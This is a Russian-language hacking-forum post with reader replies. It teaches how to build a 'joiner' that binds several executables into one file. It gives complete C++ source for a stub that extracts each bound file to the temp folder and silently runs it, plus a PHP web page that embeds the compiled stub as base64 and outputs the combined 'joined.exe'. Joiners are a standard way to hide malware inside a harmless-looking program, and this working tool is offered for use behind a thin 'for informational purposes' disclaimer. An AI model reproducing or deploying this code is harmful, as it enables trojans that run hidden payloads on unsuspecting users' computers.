---> Code: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Принцип работы джойнеров на php. Author: drmist Web: [url]http://www.security-teams.net[/url] Date: 02/05/06 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-= Как бы это меня не удивляло, при словах "джойнер на php" у многих возникают эмоции типа "Вау! Как круто! Вот бы исходники посмотреть!" Цель данной статьи - развеять все мифы о этих, с позволенья сказать, скриптах и показать, что они не представляют из себя что-либо сверхестественное. Далее по тексту мы напишем такой джойнер. Разобраться должен даже девятиклассник. Потребуются минимальные знания php и навыки программирования на C++ под Windows. Лишний раз напомню, что целью данной статьи не является написание мега-крутого джойнера со сменными иконками, упаковками и крипторами в четыре слоя. Работать с Pe-форматом нам тоже не придется (пожелеем девятиклассников :) ). Итак, принци простой: Есть обычный исполняемый файл. Как известно, маздаю будет глупоко чихать, если в его конец что-то дописать. Вот мы и допишим склеиваемые фалы. За головой нашего джойнера будет следовать такая структура: [Files Count (DWORD)] [Buffer Size (DWORD)] [File1 Size (DWORD)] [File1 Content (Variable)] [File2 Size (DWORD)] [File2 Content (Variable)] ............. etc Где Files Count - число склееных файлов (мы можем склеить их сколько угодно), Buffer Size - размер буфера, который должен выделить под свои нужды джойнер (фактически это поле равно размеру наибольшего из склеиваемых файлов). Далее идет File Count записей Размер:Содержимое. Вот сурец джойнера: #include "windows.h" #pragma comment(linker, "/ALIGN:4096 /MERGE:.idata=.text /MERGE:.data=.text"); #pragma commant(linker, "/SECTION:.text,EWR"); #define SELF_SIZE 1536 void main() { char SelfName[MAX_PATH]; char CurrDir[MAX_PATH]; char TempPath[MAX_PATH]; char TempName[MAX_PATH]; HANDLE hReadFile; HANDLE hWriteFile; HANDLE hBuff; DWORD JoinedCount; DWORD BuffSize; DWORD FileSize; DWORD ddTemp; int Unique; GetCurrentDirectory(MAX_PATH, CurrDir); GetTempPath(MAX_PATH, TempPath); GetModuleFileName(GetModuleHandle(0), SelfName, MAX_PATH); hReadFile = CreateFile(SelfName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); if(hReadFile != INVALID_HANDLE_VALUE) if(GetFileSize(hReadFile, 0) > SELF_SIZE) { SetFilePointer(hReadFile, SELF_SIZE, 0, FILE_BEGIN); ReadFile(hReadFile, &JoinedCount, sizeof(DWORD), &ddTemp, NULL); ReadFile(hReadFile, &BuffSize, sizeof(DWORD), &ddTemp, NULL); hBuff = GlobalAlloc(GMEM_FIXED, BuffSize); Unique = GetTickCount(); while(JoinedCount > 0) { ReadFile(hReadFile, &FileSize, sizeof(DWORD), &ddTemp, NULL); Unique++; wsprintf(TempName, "%s%d.exe", TempPath, Unique); hWriteFile = CreateFile(TempName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if(hWriteFile == INVALID_HANDLE_VALUE) break; ReadFile(hReadFile, hBuff, FileSize, &ddTemp, 0); WriteFile(hWriteFile, hBuff, FileSize, &ddTemp, 0); CloseHandle(hWriteFile); WinExec(TempName, SW_SHOWNORMAL); JoinedCount--; } GlobalFree(hBuff); CloseHandle(hReadFile); } ExitProcess(0); } Я надеюсь, что этот код не нуждается в коментариях. Скажу только, что после того, как программа будет собрана, нужно изменить в исходном коде SELF_SIZE на размер бинарника и собрать его снова. Теперь осталось состряпоть... кхе-кхе... GUI ). Код приведен ниже. <?php function print_int($i) { echo chr($i & 0xFF).chr(($i >> 8) & 0xFF). chr(($i >> 16) & 0xFF).chr($i >> 24); } $file = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v". "dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABGwbHZAqDfigKg34oCoN+K". "AqDeihKg34pgv8yKB6Dfiuq/1IoAoN+KUmljaAKg34oAAAAAAAAAAAAAAAAAAAAA". "UEUAAEwBAQC4ZVZEAAAAAAAAAADgAA8BCwEGAAAEAAAAAAAAAAAAAPARAAAAEAAA". "ACAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAIAAAAAIAAAAAAAACAAAA". "AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAMEAAAPAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAudGV4dAAAAKADAAAAEAAAAAQAAAACAAAAAAAAAAAAAAAAAAAgAADg". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlcyVkLmV4ZQAAAABIEAAA". "AAAAAAAAAADCEQAAkBAAAIgQAAAAAAAAAAAAANwRAADQEAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAADYEAAA5hAAAPQQAAD+EAAADBEAABgRAAAoEQAANhEAAEIRAABUEQAA". "YhEAAHARAACGEQAAmhEAAKoRAAAAAAAA0BEAAAAAAADYEAAA5hAAAPQQAAD+EAAA". "DBEAABgRAAAoEQAANhEAAEIRAABUEQAAYhEAAHARAACGEQAAmhEAAKoRAAAAAAAA". "0BEAAAAAAAB9AEV4aXRQcm9jZXNzAIgBR2xvYmFsRnJlZQAA0wJXaW5FeGVjABsA". "Q2xvc2VIYW5kbGUA3wJXcml0ZUZpbGUAbQFHZXRUaWNrQ291bnQAAIEBR2xvYmFs". "QWxsb2MAGAJSZWFkRmlsZQAAagJTZXRGaWxlUG9pbnRlcgAAEgFHZXRGaWxlU2l6". "ZQA0AENyZWF0ZUZpbGVBACQBR2V0TW9kdWxlRmlsZU5hbWVBAAAmAUdldE1vZHVs". "ZUhhbmRsZUEAAGUBR2V0VGVtcFBhdGhBAAD1AEdldEN1cnJlbnREaXJlY3RvcnlB". "AABLRVJORUwzMi5kbGwAAKwCd3NwcmludGZBAFVTRVIzMi5kbGwAAAAAAAAAAAAA". "gewkBAAAjYQkIAMAAFdQaAQBAAD/FcgQQACNjCQgAgAAUWgEAQAA/xXEEEAAjZQk". "HAEAAGgEAQAAUmoA/xXAEEAAUP8VvBBAAGoAagBqBGoAagGNhCQwAQAAaAAAAIBQ". "/xW4EEAAi/iD//8PhCcBAABqAFf/FbQQQAA9AAYAAA+GEwEAAFNVagBqAGgABgAA". "V/8VsBBAAIsdrBBAAI1MJAxqAFGNVCQYagRSV//TjUQkDGoAUI1MJCRqBFFX/9OL". "VCQcUmoA/xWoEEAAiUQkFP8VpBBAAIvoi0QkEIXAD4agAAAAVo1EJBBqAFCNTCQk". "agRRV//TRY2UJCwCAABVUo1EJCxoABBAAFD/FdAQQACDxBCNTCQkagBqAGoCagBq". "AGgAAABAUf8VuBBAAIvwg/7/dE+LRCQci0wkGI1UJBBqAFJQUVf/04tEJByLTCQY". "jVQkEGoAUlBRVv8VoBBAAFb/FZwQQACNVCQkagFS/xWYEEAAi0QkFEiJRCQUD4Vi". "////XotEJBRQ/xWUEEAAV/8VnBBAAF1bagD/FZAQQABfgcQkBAAAw5CQkJCQkJCQ". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; $file_size = 1536; if(isset($_POST["files_count"])) { $count = $_POST["files_count"]; $size = $file_size + 8; $max_size = 0; $sizes = array(); for($i = 1; $i <= $count; $i++) if(isset($_FILES["file$i"])) { $tmp = filesize($_FILES["file$i"]["tmp_name"]); $sizes[$i] = $tmp; if($tmp > $max_size) $max_size = $tmp; $size += $tmp + 4; } else die("\$_FILES[\"file$i\"] is not set."); header("Content-Transfer-Encoding: binary"); header("Content-type: application/x-download"); header("Content-Length: $size"); header("Content-Disposition: attachment; filename=\"joined.exe\""); echo base64_decode($file); print_int($count); print_int($max_size); for($i = 1; $i <= $count; $i++) { print_int($sizes[$i]); readfile($_FILES["file$i"]["tmp_name"]); } } else { $count = 0; if(isset($_POST["new_files_count"])) $count = intval($_POST["new_files_count"]); if($count < 2) $count = 2; echo "<form method=post>Files Count: <input type=text ". "name=new_files_count size=2 value=\"$count\">". "<input type=submit value=\"Update\"></form><hr>". "<form method=post enctype=multipart/form-data>". "<input type=hidden name=files_count value=\"$count\">"; for($i = 1; $i <= $count; $i++) echo "File $i: <input type=file name=\"file$i\"><br>"; echo "<input type=submit value=\"Join\"><hr><p align=right>". "Simple PHPJoiner v 0.8 (c) drmist\STNC 2006 | <a href=\"http://". "www.security-teams.net\">www.security-teams.net</a> | <a href=". "\"http://drmist.ru\">drmist.ru</a>"; } ?> Переменная $file содержит откомпилированный бинарник в base64. Получить ее значение можно простым скриптом <?php echo base64_encode(join("", file("joined.exe"))); ?> Пирнцип работы скрипта на мой взгляд также не нуждается в пояснении. Фактически это все, что я хотел сказать. Надеюсь среди читателей не найдутся те, кто найдет в этом тексте что-то сложное. Могу только добавить, что на ... эм.. написание этого текста с приготовлением всех сорсов и тестированием у меня ушло что-то в районе часа. Все желающие могут протестировать джойнер, зайдя по ссылке [url]http://drmist.ru/joiner/[/url]. В качестве заключения напомню, что данная статья со всеми исходными кодами является моей интелектуальной собственностью, потому если читателю захочется где-то ее выложить, он должен оставить ссылку на САЙТ НАШЕЙ КОМАНДЫ: [url]http://www.security-teams.net[/url]. В противном случае, он не сможет избавится от угрызения совести до последней секунды своего жалкого существования :). Кроме того, автор не несет ответственности за чужие действия в том случае, если материал даннгой статьи будет использован в противозаконных целях. Вся информация дана в ознакомительных целях. (c) drmist 2006, специально для antichat.ru <----
Если статья специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам? А в общем статейка познавательная...
Это разные вещи... Если статья специально для ачата, то как - бы автор написал её для ачата => она пренадлежит ачату, а не другому сайту... Значит в копирайтах по сути должна быть ссылка на ачат, т.к. он первоисточник... Ну или ник автора... Или и то, и другое...
Мда, хочется конечно сделать что-то новое, чего до тебя не делали, но мне кажется это уже перебор, особого смысла не вижу в таком джойнере, если его так можно назвать. Отличный повод написать сайт на асме (c)nerezus.
dinar_007 Ниужто из-за естественного желания привлечь внимание общественности к сайту родной тимы? Несмотря на то, что статья ДЛЯ ачата, она ОТ сектима. И вобще моя статья - как захочу так и требую )). Все равно найдется кто-то, кто об этом забудет. )))))
Вполне реально. Пишем на асме сокеты, отдаем сокету html код. Все. Думаю, что подобные проэкты уже есть